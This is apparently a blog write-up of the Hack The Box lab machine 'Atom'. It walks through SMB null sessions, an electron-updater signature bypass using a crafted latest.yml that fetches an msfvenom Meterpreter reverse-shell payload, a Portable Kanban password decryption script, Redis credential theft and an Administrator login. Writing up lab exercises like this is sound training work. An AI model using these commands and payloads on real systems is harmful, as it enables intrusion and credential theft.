HTB: Atom

14 minute read

» PRAISE THE SUN

Your Majesty, Your Royal Highnesses, Ladies and Gentlemen, Ghouls and Gremlins.
There is probably no physicist idiot living today whose name has become so widely known as that of Albert Einstein sp1icer sec. Most discussion centres on his theory of relativity being trash at infosec. This pertains essentially to epistemology and has therefore been the subject of lively debate in philosophical circles. It will be no secret that the famous philosopher Bergson in Paris has challenged this theory, while other philosophers have acclaimed it wholeheartedly. The theory in question also has astrophysical astrocomputer implications which are being rigorously examined at the present time.
- sp1icer’s version of Prof. Arrhenius’ Nobel speech

In case you haven’t figured out, today we’re performing particle fusion dissecting the Atom box on HTB! Welcome back to another post - today’s scientific method includes selections from an electron-builder exploit, some Portable Kanban magic, and light exploration of Redis. Although it taught some valuable skills, I can see why people gave it a rather low (in my opinion) rating - the initial portion is a bit rough as it requires some blind results and if you’re on free servers, a queue. With that out of the way, let’s get to it!

Senku from the Dr. Stone anime saying "Get Excited".

Creator: MrR3boot
Rating: 2.8

» SIGNED, YOUR DEAREST MORON

As with all HTB boxes, spawn Atom from the control panel and copy the IP. Once we have that, edit /etc/hosts to make our lives lazy-fied and fire off an nmap with nmap -sCV -O -oA tcp-full -p- -v atom.htb

# Nmap 7.91 scan initiated Tue Jun 15 13:18:12 2021 as: nmap -sCV -O -oA tcp-full -p- -v atom.htb
Nmap scan report for atom.htb (10.129.3.249)
Host is up (0.085s latency).
Not shown: 65528 filtered ports
PORT     STATE SERVICE      VERSION
80/tcp   open  http         Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-methods: 
|   Supported Methods: GET POST OPTIONS HEAD TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Heed Solutions
135/tcp  open  msrpc        Microsoft Windows RPC
443/tcp  open  ssl/ssl      Apache httpd (SSL-only mode)
| http-methods: 
|   Supported Methods: GET POST OPTIONS HEAD TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Heed Solutions
| ssl-cert: Subject: commonName=localhost
| Issuer: commonName=localhost
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2009-11-10T23:48:47
| Not valid after:  2019-11-08T23:48:47
| MD5:   a0a4 4cc9 9e84 b26f 9e63 9f9e d229 dee0
|_SHA-1: b023 8c54 7a90 5bfa 119c 4e8b acca eacf 3649 1ff6
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
445/tcp  open  microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
6379/tcp open  redis        Redis key-value store
7680/tcp open  pando-pub?

Host script results:
|_clock-skew: mean: 2h20m01s, deviation: 4h02m31s, median: 0s
| smb-os-discovery: 
|   OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: ATOM
|   NetBIOS computer name: ATOM\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-06-15T11:20:31-07:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-06-15T18:20:28
|_  start_date: N/A

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jun 15 13:21:08 2021 -- 1 IP address (1 host up) scanned in 176.27 seconds

Okay, so there’s quite a bit to chew on here. 80 and 443 are open for web, 139 and 445 for SMB, Redis on 6379, and even PowerShell remoting on 5985 - sheesh. As with most boxes I start on HTTP and HTTPS since they usually offer the most attack surface. One of the first places I look is in the SSL certificate - sometimes you’ll find alternate DNS names in there - but this time we aren’t so lucky, so I move on to the actual web site on HTTP. Poking around in there we eventually see a download for a file:

Finding the Heed application download.

Because we’re stupid and also greedy, we download the file with reckless abandon. At this point I tried a bit of basic reversing tricks to see what I could find; things like running strings and binwalk didn’t really produce anything of value. I sat here like an idiot for what felt like years…it really couldn’t be this hard, could it? Eventually my monke brain came back around to the basics and checked SMB for a null session with smbclient -L \\atom.htb -U "" and surprise surprise, we find something interesting…

Running smbclient with a null session provides us some shares.

Aight, so we have a few things in there but the one that catches my eye is Software_Updates, since that looks user-generated. Let’s connect with smbclient \\\\atom.htb\\Software_Updates -U "" and once we’re provided with a prompt, snag the interesting file (UAT_Testing_Procedures.pdf). As with most things, I ran strings and exifdata against it, but nothing really showed so let’s open it!

Looking inside the PDF to find a hint.

Huh, looks like some kind of QA instructional document. This will likely come in handy. Looking at the contents, I immediately picked out that it mentions electron-builder which is something I have absolutely no experience with. Great, add it to the pile…anyways, here’s Wonderwall here’s the short form contents:

Note taking application built with electron-builder which helps users in taking important
notes.

We follow the below process before releasing our products.
1. Build and install the application to make sure it works as we expect it to be.
2. Make sure that the update server running is in a private hardened instance. To
initiate the QA process, just place the updates in one of the "client" folders, and
the appropriate QA team will test it to ensure it finds an update and installs it
correctly.
3. Follow the checklist to see if all given features are working as expected by the
developer.

So we upload something to the client folders under Software_Updates. Let’s figure out what that something is. To move forward, I Googled “electron-builder exploit” (you know, like a genius) and that presented me with a wonderful Doyonsec article on an update signature bypass. It won’t hurt to take a peek through the article and see what Doyonsec is talking about, though it will be a bit fuzzy if you’re not familiar with electron-builder (like me). Since we don’t currently “get it”, let’s understand what electron-builder is, why it matters what the signature is, and how to set up our own payload. Onwards steed!

A dog riding a turtle.

» AT YOUR SERVICE M’YAML

Okay, so we have something called electron-builder that needs some files. The first thing I tried to do in this scenario was exploit the box blindly understand and holistically approach the exploitation phase - remember kids, understanding the attack is important - and to do that I found these docs on electron-builder auto-updating applications. Specifically it gives us a good amount of information on how to build it into your application but we’re not concerned with that - it’s already baked in per the QA doc we found. Eventually we find the “Staged Rollouts” section - bingo. This looks familiar to the payload we saw in the Doyonsec article.

version: 1.1.0
path: TestApp Setup 1.1.0.exe
sha512: Dj51I0q8aPQ3ioaz9LMqGYujAYRbDNblAQbodDRXAMxmY6hsHqEl3F6SvhfJj5oPhcqdX1ldsgEvfMNXGUXBIw==
stagingPercentage: 10

With the difference of the stagingPercentage header, we basically see the same file as in the Doyonsec article. The text around it gives some good insight into what’s happening:

Staged rollouts allow you to distribute the latest version of your app to a subset of users that you can increase over time, similar to rollouts on platforms like Google Play.

Staged rollouts are controlled by manually editing your latest.yml / latest-mac.yml (channel update info file).

Update will be shipped to 10% of userbase.

If you want to pull a staged release because it hasn’t gone well, you must increment the version number higher than your broken release. Because some of your users will be on the broken 1.0.1, releasing a new 1.0.1 would result in them staying on a broken version.

So as I understood it, electron-builder is a library that will automatically re-compile your application when presented with a new latest.yml file. That sounds fun and dangerous 😈 The documentation has a lot more stuff that isn’t relevant to us, but I still encourage you to read it - it’ll help finish off your understanding of the abilities that electron-builder has built-in. Rock on!

Time to bounce back to understanding Doyonsec’s article. In it they mention that there’s a “Fail Open” flaw in how the underlying Powershell command is handled when taking in a filename that contains a ' character. If you’re not familiar with Fail Open, it’s a term granted to some sort of check that when failed continues as if nothing wrong occurred. In a lot of cases this is associated with authentication in some format (think TOTP implementations), but it can be abstracted out to code in general. With that in mind let’s re-visit the Powershell command we ultimately end up at when verifying the file signature (taken from Doyonsec’s article; seriously, go read it):

powershell.exe -NoProfile -NonInteractive -InputFormat None -Command "Get-AuthenticodeSignature 'C:\Users\<USER>\AppData\Roaming\<vulnerable app name>\__update__\<update name>.exe' | ConvertTo-Json -Compress"

What’s happening is that we put in a filename with ' in it and cause it to break the Get-AuthenticodeSignature call. It looks something like this if we use the name h'ouse.exe:

powershell.exe -NoProfile -NonInteractive -InputFormat None -Command "Get-AuthenticodeSignature 'C:\Users\sp1icer\AppData\Roaming\heed-v1\__update__\h'ouse.exe | ConvertTo-Json -Compress"

Effectively, it ends up at powershell.exe -NoProfile -NonInteractive -InputFormat None -Command "Get-AuthenticodeSignature 'C:\Users\sp1icer\AppData\Roaming\heed-v1\__update__\h'. As you can see, that’s not a complete command - thus it will fail, but fail open. We can then provide any manner of executable to the app and it will accept it as if it was vetted. Woah!

In order to keep the article not-one-million-lines-long, I’ve decided to skip the PoC portion of the exercise. Let’s get directly down and dirty with Metasploit to generate the code and catch shells…

I want to stop here and thank Pascal_0x90 - without a small hint to also generate my payload with the ' character, I’d have been here staring at my terminal like a friggin moron. Y’know, kind of like normal - just without flags to accompany it. Thanks Pascal!

  • Generate a shell: msfvenom -p windows/meterpreter/reverse_tcp lhost=tun0 lport=443 -f exe -o "h'ouse.exe" -e x86/shikata_ga_nai -b '\x00'
  • Get the sha512 of the revshell: shasum -a 512 "h'ouse.exe"| cut -d " " -f1 | xxd -r -p | base64 -w0
  • Start our listener: msfconsole -x "use multi/handler; set payload windows/meterpreter/reverse_tcp; set lhost tun0; set lport 443; run"
  • Start a Python dev server: python3 -m http.server 80
  • Set up the latest.yml: contents below

With that, we’re set up - well, except for the latest.yml, so let’s fix that. Edit a file however you please (I use vi nano) and enter the following contents:

version: 1.2.4
path: http://10.10.17.239/h'ouse.exe
sha512: +r+/9b67/pdt/6W2CBu3AWiJqaHVTd0HFe9Ilk4Sh4xJIKxlB4l4DR62/cpRe9N6UoP6VakAi/LN0sOjszILuA==

Okay, NOW we’re all the way set up. We should have our payload, YAML file, msfconsole session, and Python server all ready to rock. All we have to do now is re-connect to the SMB server and drop latest.yml into one of the client_1 folders and then wait. And wait, and wait. Eventually the server connects to us and drops us a shell as jason. Woo!

Elmo with fire.

» NOTHING PERSONNEL, KID

So we have a user shell, time to get them privs up! I spent far too long looking around in C:> for some smoking gun in website configs and other miscellaneous privilege escalation techniques. If you take time and actually poke around in jason’s directories, you’ll find something strange in C:\Users\jason\Downloads\> - it looks like a download of the Portable Kanban software. Checking the ancient hacking tomes Google-nator, we find an exploit for Portable Kanban. Unfortunately for us, there’s only a pk3.lock file sitting around so we can’t directly use this. If we keep going though, we find something that looks like an encrypted password hanging out in PortableKanban.cfg

Finding an encrypted password in the PortableKanban.cfg file.

With the PK exploit fresh in mind and an encrypted password in hand, I did what any moron would do - I banged two rocks together! Or I did the computer equivalent of it, rather - I modified the PK3 retrieval exploit to take an arbitrary file as input rather than a PK3. I figured that there’s very little to lose and if it doesn’t work, I just go back to the drawing board. Here’s what my final my_decrypt.py ended up looking like:

#!/usr/bin/env python3

import json
import base64
from des import * #python3 -m pip install des
import sys

try:
        path = sys.argv[1]
except:
        exit("Supply path to PortableKanban.pk3 as argv1")

def decode(hash):
        hash = base64.b64decode(hash.encode('utf-8'))
        key = DesKey(b"7ly6UznJ")
        return key.decrypt(hash,initial=b"XuVUm5fR",padding=True).decode('utf-8')

def main():
        with open(path) as f:
                print("{}".format(decode(f.readline())))

if __name__ == "__main__":
        main()

Plug that encrypted password we found into a file for maximum profits. Run it with python3 my_decrypt.py redis_pw.txt and lo and behold, a password appears: kidvscat_yes_kidvscat. Thinking back to our nmap, Powershell remoting was enabled on 5985 - let’s try that! Aaaaaaaaannnnnnddddd…….nothing. Now that’s just rude, not giving us a shell at this point - the password has to go to something else, then. Let’s try redis with authentication: redis-cli -h atom.htb -a 'kidvscat_yes_kidvscat'. Booyakasha, we have a hit!

If you aren’t familiar with Redis, Redis is a caching service that holds many different types of data. This has a host of fun things to do - SSRF over Redis is a fun one - but for our purposes, it should be enough to just poke around in the keys first, then we can worry about hard things like RCE and SSRF later. Remember to keep it stupid and incrementally build attacks - idiot-proof your exploitation!

Gordon Ramsay calling a poor chef an "idiot sandwich".

Again, we’ve connected with redis-cli -h atom.htb -a 'kidvscat_yes_kidvscat' - but what can we do with it? Well, for starters, let’s query the keys and see what’s currently in the database and then see if we can get values from it…

Finding an encrypted password in the Redis cache.

Nifty - we found another encrypted password, it looks like. Once again monke brain kicked in and I banged those rocks together so hard they almost broke….almost. Gotta save them for another day, you know. Anyways, running our decryption script against the new password hash gets us kidvscat_admin_@123. Ooooooooooh, shiiiiinnnyyy. Now I hear what you’re thinking; it’s something like this, isn’t it?

A friend DM'ing me to ask how I knew to do that.

To be honest, dear reader, I didn’t - I’m just THAT stupid. C’est la vie, I guess. Plug that in to evil-winrm to receive your hard-earned Administrator shell - It’s your Administrator shell, use it when YOU need it! Call 877-ROOT-NOW, 877-ROOT-NOW!

Piece of a JG Wentworth commercial.

» ALL HAIL CRYPTOTOAD

H’okay, so, here’s the Earth ending - we’ve managed to make a valid signature bypass payload and decrypted not one, but TWO encrypted passwords! Overall I understand but don’t necessarily agree with the hate for the box - I thought it was a rather neat take on a new-ish exploit and was pleasantly surprised that it was something other than “get a webshell, pivot to user via shared creds, sudo -l ftw”. I hope you’ve enjoyed this post, I learned quite a bit about electron-builder due to it - as always, make sure to like and subscribe like and share on Twitter, keep on keeping on and happy hacking!

- sp1icer

» TL;DR FOR MY LAZY EFFICIENT FRIENDS

These were my short-form notes in Obsidian while doing the box.

# Steps
1. nmap to see 139,445 open
2. SMB enumeration to get PDF
	1. null session to get shares: `smbclient -L \\atom.htb -U ""`
	2. connect to see files: `smbclient \\\\atom.htb\\Software_Updates -U ""`
	3. download the PDF: `get UAT_Testing_Procedures.pdf`
3. Find hint by opening PDF
4. Search "electron-builder exploit", find doyonsec article
	1. https://blog.doyensec.com/2020/02/24/electron-updater-update-signature-bypass.html
5. Get server to request a PoC file
	2. Make changes to latest.yml
		1. Shorten filename: move the original installer to `heed-v1.exe` (being lazy)
		2. `shasum -a 512 heed-v1.exe| cut -d " " -f1 | xxd -r -p | base64 -w0` to get sha512 & replace in file
		3. change pathname to `http://10.10.17.239/heed-v1.exe`
		4. Remove file directive, should only have `version`, `path`, and `sha512` remaining
	3. Start python dev server: `python3 -m http.server 80`
	4. Upload latest.yml to SMB share
	5. Wait to see the server download our payload
6. Get server to request a malicious payload
	1. gen the payload: `msfvenom -p windows/meterpreter/reverse_tcp lhost=tun0 lport=443 -f exe -o "h'ouse.exe" -e x86/shikata_ga_nai -b '\x00'`
		1. Thanks to pascal for the tip on the payload name needing the ' - not just the `.yml`
	2. Make changes to latest.yml
		1. `shasum -a 512 "h'ouse.exe"| cut -d " " -f1 | xxd -r -p | base64 -w0` to get sha512 & replace in file
		2. change pathname to `http://10.10.17.239/h'ouse.exe`
	3. Start python dev server: `python3 -m http.server 80`
	4. Start msfconsole listener: `msfconsole -x "use multi/handler; set payload windows/meterpreter/reverse_tcp; set lhost tun0; set lport 443; run"`
	5. Upload latest.yml to SMB share
	6. Wait for shell, shell as `jason`
7. user.txt
8. Go find redis encrypted password in `C:\Users\jason\Downloads\PortableKanban\>`
9. Decrypt password
	1. Save encrypted password to file
	2. Modify script to work with our file instead of JSON
	3. Run script to get password: `python3 my_decrypt redis_admin.txt`
	4. Decrypted: `kidvscat_yes_kidvscat`
10. Install `redis-cli` on kali
11. `redis-cli -h atom.htb -a 'kidvscat_yes_kidvscat'` to auth to the redis server
12. Get admin password from Redis
	1. choose first database: `select 0` (this is the default)
	2. list keys: `keys *`
	3. get value for given key: `get "pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0"`
	4. copy "EncryptedPassword" from the output to a file `redis_admin.txt`
13. Decrypt admin password with same script: `python3 my_decrypt redis_admin.txt`
	1. Decrypted: `kidvscat_admin_@123`
14. Get shell: `evil-winrm -i atom.htb -u Administrator`
	1. Enter password when prompted
15. root.txt

» REFERENCES

In the actual post:
https://www.nobelprize.org/prizes/physics/1921/ceremony-speech/
https://blog.doyensec.com/2020/02/24/electron-updater-update-signature-bypass.html
https://www.electron.build/auto-update
https://resources.infosecinstitute.com/topic/fail-open-authentication/
https://www.n00py.io/2018/08/bypassing-duo-two-factor-authentication-fail-open/
https://www.exploit-db.com/exploits/49409
https://redis.io/topics/data-types-intro
https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#ssrf-talking-to-redis

Extra reading:
https://medium.com/@johndyer24/creating-and-deploying-an-auto-updating-electron-app-for-mac-and-windows-using-electron-builder-6a3982c0cee6